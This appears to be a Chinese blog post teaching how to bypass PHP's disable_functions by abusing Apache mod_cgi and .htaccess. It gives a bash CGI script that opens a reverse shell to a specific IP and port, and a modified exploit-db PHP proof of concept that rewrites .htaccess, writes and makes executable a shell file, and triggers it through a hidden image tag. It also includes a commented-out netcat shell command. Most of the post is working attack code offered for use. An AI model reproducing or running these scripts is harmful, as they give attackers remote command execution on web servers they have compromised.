利用Apache mod_cgi进行bypass disabled_function攻击

利用Apache mod_cgi进行bypass disabled_function

CGI

公共网关接口,就是web服务器可以加载的外部程序规范,CGI脚本即使用遵从该规范编写的外部程序。

CGI编程没有特定的语言,C语言,python,linux shell,perl,vb等等都可以进行CGI编程.

使用linux shell脚本编写的cgi程序便可以执行系统命令.

MOD_CGI
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过三种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,一种是文件位于ScriptAlias目录中,最后一种是在目录放入.htaccess文件,规定将某个后缀的文件按cgi脚本解析。

apache在配置cgi后可以用ScriptAlias指令指定一个目录,指定的目录下面便存放可执行的cgi程序.若是想要增加文件夹也可执行cgi程序,则可在apache主配置文件中做如下设置

<Directory PATH>

Options +ExecCGI

</Directory>

例如

<Directory /var/www/html/>

Options +ExecCGI                      #这便是在“/var/www/html/”这个路径下允许cgi程序执行

</Directory>

当然,若是想临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用htaccess文件进行配置,如下:

.cnm后缀. 这个玩意儿纯属自定义,只要不与其他文件类型的后缀冲突即可

Options +ExecCGI

AddHandler cgi-script .cnm

攻击原理和方式

步骤:

1.在Apache允许允许使用.htaccess 的目录 放入.htaccess文件,用于把你上传的某个文件解析成cgi脚本。如果Apache本来就允许某个目录执行cgi脚本,则可以省略这一步骤。

Options +ExecCGI

AddHandler cgi-script .cnm        //把.cnm后缀的文件按cgi脚本解析

2.上传你的cgi脚本

例如

#!/bin/bash
echo -ne "Content-Type: text/html\n\n"          //如果要进行反弹shell才需要这条命令,否则会500
//使用其它命令则可以直接执行,不需要上面这条语句
bash -i >& /dev/tcp/121.4.101.246/9999 0>&1        //反弹shell或者任意www-data用户可以执行的命令都可以

3.上传一个php或者html文件引用执行这个cgi脚本

例如

<?php
chmod("cgi.cnm",0777);        //记住必须要为cgi脚本赋予执行权限
echo "<img src = 'shell.cnm' style = 'display:none;'>";
?>

4.访问该php页面,使得cgi脚本执行(直接访问cgi脚本没用,因为还没给它添加执行权限)。

exploitdb上有一个很好用的poc,我进行了一些个人修改

mod_cgi.php

<?php
// $cmd = "nc -c '/bin/bash' 121.4.101.xxx 9999"; //command to be executed
$cmd = "bash -i >& /dev/tcp/121.4.101.xxx/9999 0>&1"; //command to be executed 有时候环境中有可能没有nc命令,可以多试试其它的命令

$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
//如果直接执行命令则不需要这第二行,但反弹shell需要,否则会500
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
    echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
    @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
        checkEnabled("Is writable",$writable,"Yes","No");
        checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
    {
        echo "Error. All of the above must be true for the script to work!"; //abort if not
    }
    else
    {
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .cnm"),"Succeeded!","Failed!"); //.dizzle is a nice extension
        checkEnabled("Write shell file",file_put_contents('shell.cnm',$shellfile),"Succeeded!","Failed!"); //write the file
        checkEnabled("Chmod 777",chmod("shell.cnm",0777),"Succeeded!","Failed!"); //rwx
        echo "Executing the script now. Check your listener <img src = 'shell.cnm' style = 'display:none;'>"; //call the script
    }
}
?>

 上一篇
初识web socket 初识web socket
简单理解socketsocket我们知道两个进程如果需要进行通讯最基本的一个前提能能够唯一的标示一个进程,在本地进程通讯中我们可以使用PID来唯一标示一个进程,但PID只在本地唯一,网络中的两个进程PID冲突几率很大,这时候我们需要另辟它径
2021-03-07
下一篇 
  目录